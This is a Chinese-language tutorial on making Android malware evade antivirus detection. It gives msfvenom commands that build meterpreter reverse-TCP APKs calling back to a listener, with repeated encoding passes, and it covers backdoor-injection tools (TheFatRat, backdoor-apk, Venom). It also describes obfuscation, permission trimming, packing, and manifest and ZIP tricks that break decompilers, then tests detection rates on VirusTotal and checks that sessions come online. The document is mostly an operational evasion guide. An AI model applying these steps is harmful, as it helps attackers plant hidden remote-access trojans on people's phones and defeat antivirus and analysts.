Android免杀小结
字数 1983 2025-08-20 18:17:41

Android免杀技术全面解析与实战指南

一、基础概念与工具准备

1.1 免杀技术概述

Android免杀技术是指通过各种手段使恶意APK文件能够绕过杀毒软件的检测机制。主要技术路线包括:

  • 编码混淆:使用多重编码改变特征码
  • 工具免杀:利用专门工具生成低特征样本
  • 源码级免杀:从代码层面进行定制化修改
  • 加壳保护:使用加固技术隐藏真实代码
  • 反编译对抗:阻碍逆向分析工具正常工作

1.2 核心工具介绍

  • msfvenom:Metasploit框架的payload生成工具
  • TheFatRat:多功能后门生成工具
  • Backdoor-apk:专门用于APK后门植入的工具
  • Venom:多平台payload生成框架
  • 360加固助手/Bangcle:APK加壳保护工具
  • apktool:APK反编译/回编译工具

二、msfvenom基础免杀技术

2.1 基本payload生成

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -o black.apk

初次生成样本在VT(VirusTotal)检测率约为26/64

2.2 编码技术应用

查看可用编码器:

msfvenom --list encoders

推荐使用的编码器:

  • x86/shikata_ga_nai
  • x86/call4_dword_xor
  • x86/countdown

单次编码示例:

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -o black_1.apk

检测率降至9/59

多重编码示例:

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik \
--encoder x86/call4_dword_xor --iterations 5 \
--encoder x86/countdown --iterations 4 \
--encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk

注意:过度编码可能导致特征增加

三、工具免杀技术详解

3.1 TheFatRat使用

安装:

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh
sudo ./fatrat

提供三种APK后门方式:

  1. Backdoor-apk方法
  2. 旧版Fatrat方法
  3. MsfVenom嵌入式方法

3.2 Backdoor-apk使用

项目地址:https://github.com/dana-at-cp/backdoor-apk
常见问题:

  • 加壳APK可能导致失败
  • 签名验证可能导致问题
  • 生成文件位于backdoor-apk/backdoor-apkoriginal/dist/

3.3 Venom框架使用

项目地址:https://github.com/r00t-3xp10it/venom
选择Android agents生成后门,文件位于/venom/output

四、源码级免杀技术

4.1 代码混淆技术

关键点:

  • 修改方法名、变量名为无意义字符串
  • 删除无用代码和注释
  • 改变代码结构但不影响功能
  • 全局变量和局部变量位置交换

示例:
原始代码:

private static String getJarPath(String path){
    String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
    return filePath + ".jar";
}

混淆后:

private static String a(String b){
    String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
    String c = b + File.separatorChar + randomNum;
    return c + ".jar";
}

4.2 配置参数修改

重要参数调整:

  • minSdkVersion:避免使用常见木马版本(如28)
  • buildToolsVersion:使用非典型版本
  • 依赖库版本:避免与已知恶意样本相同

4.3 权限管理策略

高风险权限组合:

<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

保留最小必要权限,仅保留:

<uses-permission android:name="android.permission.INTERNET"/>

五、加壳与加固技术

5.1 常用加固工具

  • 360加固助手:https://jiagu.360.cn/
  • Bangcle加壳工具:https://github.com/woxihuannisja/Bangcle
java -jar Bangcle.jar b black_1.apk

5.2 加固注意事项

  • 免费版加固可能引入特征
  • 不同加固工具检测率不同
  • 加固后需测试功能完整性

六、反编译对抗技术

6.1 AndroidManifest.xml幻数修改

原始幻数:0x00080003
修改后会导致:

  • 低版本apktool反编译失败
  • GDA等工具无法解析Manifest
  • 但APK仍可正常安装运行

6.2 stringPoolSize陷阱

修改stringCount字段使其与实际不符:

  • 原始值:68
  • 修改为:69
    导致最新apktool也无法解析

6.3 ZIP伪加密

使用ZipCenOp.jar工具:

  • 对Android 4.2.x以下系统有效
  • 高版本Android会拒绝安装

七、实战检测与验证

7.1 检测流程

  1. 生成样本后上传VT检测
  2. 使用多款手机杀软测试
  3. 验证功能完整性
  4. 监控网络连接情况

7.2 上线验证

检查项目:

  • PID是否匹配
  • 会话是否稳定
  • 杀软是否拦截
  • 功能是否完整

八、参考资源

  1. TheFatRat使用指南:https://misakikata.github.io/2018/09/关于Thefatrat免杀使用/
  2. AndroidManifest解析:https://bbs.kanxue.com/thread-272045.htm
  3. 加固技术分析:https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail
  4. Smali代码修改:https://xz.aliyun.com/t/2967

九、总结与进阶

  • 免杀是持续对抗过程,特征会不断更新
  • 组合使用多种技术效果更佳
  • 关注杀软最新检测机制变化
  • 合法研究,遵守法律法规

通过本指南系统学习后,应能够:

  1. 理解Android免杀核心原理
  2. 熟练使用各类免杀工具
  3. 实施源码级深度免杀
  4. 有效对抗反编译分析
  5. 全面验证免杀效果
Android免杀技术全面解析与实战指南 一、基础概念与工具准备 1.1 免杀技术概述 Android免杀技术是指通过各种手段使恶意APK文件能够绕过杀毒软件的检测机制。主要技术路线包括: 编码混淆:使用多重编码改变特征码 工具免杀:利用专门工具生成低特征样本 源码级免杀:从代码层面进行定制化修改 加壳保护:使用加固技术隐藏真实代码 反编译对抗:阻碍逆向分析工具正常工作 1.2 核心工具介绍 msfvenom :Metasploit框架的payload生成工具 TheFatRat :多功能后门生成工具 Backdoor-apk :专门用于APK后门植入的工具 Venom :多平台payload生成框架 360加固助手/Bangcle :APK加壳保护工具 apktool :APK反编译/回编译工具 二、msfvenom基础免杀技术 2.1 基本payload生成 初次生成样本在VT(VirusTotal)检测率约为26/64 2.2 编码技术应用 查看可用编码器: 推荐使用的编码器: x86/shikata_ ga_ nai x86/call4_ dword_ xor x86/countdown 单次编码示例: 检测率降至9/59 多重编码示例: 注意:过度编码可能导致特征增加 三、工具免杀技术详解 3.1 TheFatRat使用 安装: 提供三种APK后门方式: Backdoor-apk方法 旧版Fatrat方法 MsfVenom嵌入式方法 3.2 Backdoor-apk使用 项目地址:https://github.com/dana-at-cp/backdoor-apk 常见问题: 加壳APK可能导致失败 签名验证可能导致问题 生成文件位于backdoor-apk/backdoor-apkoriginal/dist/ 3.3 Venom框架使用 项目地址:https://github.com/r00t-3xp10it/venom 选择Android agents生成后门,文件位于/venom/output 四、源码级免杀技术 4.1 代码混淆技术 关键点: 修改方法名、变量名为无意义字符串 删除无用代码和注释 改变代码结构但不影响功能 全局变量和局部变量位置交换 示例: 原始代码: 混淆后: 4.2 配置参数修改 重要参数调整: minSdkVersion:避免使用常见木马版本(如28) buildToolsVersion:使用非典型版本 依赖库版本:避免与已知恶意样本相同 4.3 权限管理策略 高风险权限组合: 保留最小必要权限,仅保留: 五、加壳与加固技术 5.1 常用加固工具 360加固助手:https://jiagu.360.cn/ Bangcle加壳工具:https://github.com/woxihuannisja/Bangcle 5.2 加固注意事项 免费版加固可能引入特征 不同加固工具检测率不同 加固后需测试功能完整性 六、反编译对抗技术 6.1 AndroidManifest.xml幻数修改 原始幻数:0x00080003 修改后会导致: 低版本apktool反编译失败 GDA等工具无法解析Manifest 但APK仍可正常安装运行 6.2 stringPoolSize陷阱 修改stringCount字段使其与实际不符: 原始值:68 修改为:69 导致最新apktool也无法解析 6.3 ZIP伪加密 使用ZipCenOp.jar工具: 对Android 4.2.x以下系统有效 高版本Android会拒绝安装 七、实战检测与验证 7.1 检测流程 生成样本后上传VT检测 使用多款手机杀软测试 验证功能完整性 监控网络连接情况 7.2 上线验证 检查项目: PID是否匹配 会话是否稳定 杀软是否拦截 功能是否完整 八、参考资源 TheFatRat使用指南:https://misakikata.github.io/2018/09/关于Thefatrat免杀使用/ AndroidManifest解析:https://bbs.kanxue.com/thread-272045.htm 加固技术分析:https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail Smali代码修改:https://xz.aliyun.com/t/2967 九、总结与进阶 免杀是持续对抗过程,特征会不断更新 组合使用多种技术效果更佳 关注杀软最新检测机制变化 合法研究,遵守法律法规 通过本指南系统学习后,应能够: 理解Android免杀核心原理 熟练使用各类免杀工具 实施源码级深度免杀 有效对抗反编译分析 全面验证免杀效果